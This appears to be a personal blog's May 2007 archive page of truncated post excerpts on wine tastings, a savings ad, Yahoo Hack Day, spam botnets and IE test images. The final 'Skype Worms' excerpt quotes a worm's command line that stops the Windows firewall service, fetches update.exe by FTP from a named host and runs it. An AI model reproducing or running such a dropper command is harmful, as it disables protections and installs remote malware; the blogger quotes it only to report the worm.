Archive for May, 2007
Friday, May 25th, 2007
Stop smoking and save!
I found the following advertisement in my Bank’s Investment Magazine.
Basically, what it says is that if you stop smoking and save the money, in 10 years you can buy a motorcycle, in 20 years a car, and in 30 years a boat.
You would save 2.9EUR/day and invest the money. They use an annual interest […]
2 Comments » - Posted in English, Misc by nuno
Friday, May 18th, 2007
Yahoo! open Hack Day
Happy to know that I’ll be there…
Now, I need to book the flights and that’s it, I think…
Oh, I might need to book the hotel for the first night too, since I should sleep for a looonnng time the first night..
I’m really looking forward to be part of this amazing experience. I’ll keep you […]
No Comments » - Posted in English, Tech by nuno
Friday, May 18th, 2007
A Spam botnet Backoffice
Around 80% of the Spam messages on the Internet are sent by Spam Zombies. For those who don’t know what I’m talking about, Spam Zombies are normal PCs that were infected by some malicious software and then controlled by some spammer.
The spammer then uses a backoffice to send orders to those infected PCs, or […]
No Comments » - Posted in English, Tech by nuno
Friday, May 18th, 2007
Wine Tasting (IV)
Another Wine Tasting session with some friends. Well, I’m kind of late on updating my blog since it happened last week.
This time we did a “California vs Portugal”. I have a theory that says that a 30-40USD Wine from California is as good as a 10EUR Wine from Portugal.
I still believe in my […]
No Comments » - Posted in Wine, English, Opinião by nuno
Thursday, May 17th, 2007
Another point for Microsoft
Microsoft has available on its site a Virtual PC Image with Windows XP and Internet Explorer 6 or 7, so Web Developers can test their applications on both versions of the browser.
I installed the image with IE7. When you start the image you have a couple of shortcuts in the Desktop. One of them is […]
No Comments » - Posted in English, Tech by nuno
Wednesday, May 2nd, 2007
Wine Tasting (III)
Another Wine Tasting session with some friends.
This time, we tried 3 red wines from Douro and 1 wine from Bairrada:
Aneto, 2002, Douro: fruity, soft tannins. A blend of 5 types of grapes: Touriga Franca, Tinta Roriz, Touriga Nacional, Tinto Cão and Souzão. Everyone loved this wine and this was the favorite one from Douro. The […]
3 Comments » - Posted in Wine, English, Opinião by nuno
Wednesday, May 2nd, 2007
Skype Worms
Is there any Mac Skype user out there receiving the following type of messages from other Mac Skype users?
5systemroot5\system32\cmd.exe
cmd -c net stop sharedaccess 7echo open elterryer.serveftp.com 21 .. ij 7echo user a b .. ij 7echo binary .. ij 7echo get update.exe .. ij 7echo bye .. ij 7ftp ‘n ‘v ’sçij 7del ij 7update.exe […]
